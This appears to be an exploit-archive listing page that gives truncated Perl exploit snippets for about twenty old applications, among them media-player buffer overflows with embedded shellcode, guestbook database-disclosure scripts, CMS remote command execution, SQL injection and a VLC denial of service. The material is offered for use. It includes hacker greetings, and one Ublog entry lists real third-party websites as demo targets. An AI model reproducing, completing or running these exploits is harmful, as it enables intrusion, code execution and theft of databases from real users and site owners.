Soritong MP3 Player 1.0 - Local Buffer Overflow (SEH)

!/usr/bin/perl Soritong MP3 Player 1.0 Seh Overwrite Exploit http://www.sorinara.com/soritong/soritong10.exe use strict; use warnings; my $shellcode = "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49". "\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36"...

Sorinara Streaming Audio Player 0.9 (.m3u) Local Stack Overflow Exploit

No description provided by source. !/usr/bin/perl Streaming Audio Player 0.9 .M3U File Local Stack Core Exploit Credit : http://www.milw0rm.com/exploits/8617 cyber-zone By Stack Tested On WinSp2 En / FR use strict; use warnings; my $header=...

Uguestbook 1.0 Database Disclosure

!/usr/bin/perl Uguestbook 1.0 mdb-database/guestbook.mdb use LWP::Simple; use LWP::UserAgent; print "\tUguestbook 1.0 Arbitrary Database Disclosure Exploit\n"; print "\t\n"; print "\t Found And Exploited By : Cyber-Zone ABDELKHALEK \n"; print "\t E-mail : Paradisdesfousathotmail.fr \n"; print "\t...

Sorinara Streaming Audio Player 0.9 (.m3u) Local Stack Overflow PoC

No description provided by source. !/usr/bin/perl Found By : Cyber-Zone ABDELKHALEK Thanx To All Friends : Hussin X , Jiko , Stack , ZoRLu , ThE g0bL!N , r1z , Mag!c ompo , SimO-s0fT ... All MoroCCaN HaCkerS FIGUIG OwnZ !!! Streaming Audio Player 0.9 .M3U File Local Buffer Overflow PoC Olly...

Ublog Database Disclosure

!/usr/bin/perl Ublog access version mdb-database/blog.mdb dork : http://www.google.co.ma/search?q=index.asp%3Farchivio%3DOK&hl=fr&start=20&sa=N demos : http://radiologyhunters.com/blog/mdb-database/blog.mdb http://foges.net/mdb-database/blog.mdb http://www.geoaurea.it/mdb-database/blog.mdb use...

Winn ASP Guestbook 1.01b Remote Database Disclosure Exploit

No description provided by source. !/usr/bin/perl -w Winn ASP Guestbook 1.01 Beta Database Disclosure Exploit Found By : ZoRLu Home: yildirimordulari.com , dafgamers.com , z0rlu.blogspot.com Not: Bana Bug BulamIyorum, YapamIyorum Demeyin a.q Elin Gavuru YapIyor Sizler Niye YapamIyorsunuz...

RM Downloader Universal Overflow

!/usr/bin/perl RM Downloader .smi File Universal Overflow Exploit use strict; use warnings; my $shellcode = "\x31\xc9\x83\xe9\xde\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x4b". "\x1d\xa3\xb6\x83\xeb\xfc\xe2\xf4\xb7\xf5\xe7\xb6\x4b\x1d\x28\xf3"...

SDP Downloader v2.3.0 (.ASX File) Local Heap Overflow PoC

No description provided by source. !/usr/bin/perl Found By : Cyber-Zone ABDELKHALEK == Proud To Be Figuigian ::Figuig City OwnZ ! MoroCCo 2009 GreatZ To : Hussin X , Jiko , ZoRLu , Mag!c ompo , Stack , b0rizQ ... All MoroCCaN HaCkerS OllyDBG Registers EAX 41414141 ECX 00AF74AC ASCII...

SDP Downloader 2.3.0 Heap Overflow

!/usr/bin/perl Found By : Cyber-Zone ABDELKHALEK == Proud To Be Figuigian ::Figuig City OwnZ ! MoroCCo 2009 GreatZ To : Hussin X , Jiko , ZoRLu , Mag!c ompo , Stack , b0rizQ ... All MoroCCaN HaCkerS OllyDBG Registers EAX 41414141 ECX 00AF74AC ASCII...

ftpdmin 0.96 Arbitrary File Disclosure Exploit

No description provided by source. !/usr/bin/perl ftpdmin 0.96 Arbitrary File Disclosure Exploit Vulnerability Disclosure by 1 Slach or 2 Slach Tested on Win XP SP2 but it work in other box environment Abouts Exploit : first thing after we exec the application it make our box a simple ftp server ...

ASX to MP3 Converter 3.0.0.7 .m3u Universal Stack Overflow Exploit

No description provided by source. !/usr/bin/perl ASX to MP3 Converter Version 3.0.0.7 .m3u Universal Stack Overflow Exploit Disoverd By Cyber-Zone Exploited By Stack my $Header = "EXTM3U\n"; my $shellcode = "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49"...

Mini-stream RM-MP3 Converter 3.0.0.7 .m3u Stack Overflow Exploit

No description provided by source. !/usr/bin/perl Mini-stream RM-MP3 Converter Version 3.0.0.7 .m3u Universal Stack Overflow Exploit Disoverd By Cyber-Zone Exploited By Stack my $Header = "EXTM3U\n"; my $shellcode = "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49"...

Mini-stream Ripper (.M3U File) Local Stack Overflow PoC

Exploit for unknown platform in category dos / poc ======================================================= Mini-stream Ripper .M3U File Local Stack Overflow PoC ======================================================= !/usr/bin/perl Mini-stream Ripper .M3U File Local Stack Overflow POC Found By :...

Exjune Guestbook 2 Database Disclosure

!/usr/bin/perl By AlpHaNiX NullArea.Net alphaathacker.bz Made in Tunisia script : Exjune Guestbook v2 download : http://www.exjune.com/downloads/downloads/exJuneguestbook.asp Vulnerable : database path : /admin/exdb.mdb Real Life Example : OOO OOO OO OO OO OO O O O O O O O OO OO O O O O OO OOO OO...

PhotoStand 1.2.0 - Remote Command Execution

!/usr/bin/perl App : PhotoStand 1.2.0 Site : http://www.photostand.org Remote Command Execution Exploit Credits to : Giovanni Buzzin, "Osirys" osirysatautisticidotorg Greets: drosophila, emgent, Fireshot PhotoStand is a used Image Gallery CMS. PhotoStand is vulnerable to SQL Injection, AUTH BYPAS...

Codice CMS 2 Remote SQL Command Execution Exploit

No description provided by source. --+++===========================================================+++-- --+++====== Codice CMS 2 Remote Command Execution Exploit ======+++-- --+++===========================================================+++-- !/usr/bin/perl use strict; use warnings; use...

X-BLC 0.2.0 - get_read.php?section SQL Injection

X-BLC 0.2.0 - getread.php?section SQL Injection !/usr/bin/perl -w :::::::-. ... ::::::. :::. ;;, ';, ;; ;;;;;;;, ;;; ' . ' $$, $$$$ $$$ $$$ "Y$c$$ 888,o8P'88 .d888 888 Y88 MMMMP" "YmmMMMM"" MMM YM Discovered by dun \ dunatstrcpy.pl xblc = 0.2.0 SQL Injection Vulnerability Script: "X-BLC is a...

VLC 0.9.8a Web UI (input) Remote Denial of Service Exploit

No description provided by source. !/usr/bin/perl VLC 0.9.8a Web UI Remote Stack Overflow DoS by TheLeader GreetZ: forums.hacking.org.il TiP oF TEh DaY: Rock on! = use IO::Socket; my $host = shift || 'localhost'; Target host my $port = shift || 8080; Target port. Default port = 8080 Note: for som...

GuildFTPd DELE命令目录遍历漏洞

BUGTRAQ ID: 34079 GuildFTPD是一个Windows平台下的免费FTP服务器。 GuildFTPd没有正确地处理FTP DELE请求，如果远程攻击者在向服务器所提交的DELE命令中包含有特制的“..”字符序列的话，就可以通过目录遍历攻击绕过FTP root删除系统上的任意文件。 DrPhibez and Nitro187 Guild FTPD v0.999.14 厂商补丁： DrPhibez and Nitro187 --------------------- 目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：...

RoomPHPlanning <= 1.6 (userform.php) Create Admin User Exploit

No description provided by source. !/usr/bin/perl -w use LWP::UserAgent; use HTML::Form; print "\n"; print "+=RoomPHPlanning\n"; print "+=v1.x\n"; print "+=Vul: Remote Create user with all permissions admin\n"; print "+=Author: Jonathan Salwan \n"; print "+=Web: http://www.shell-storm.org\n"; pri...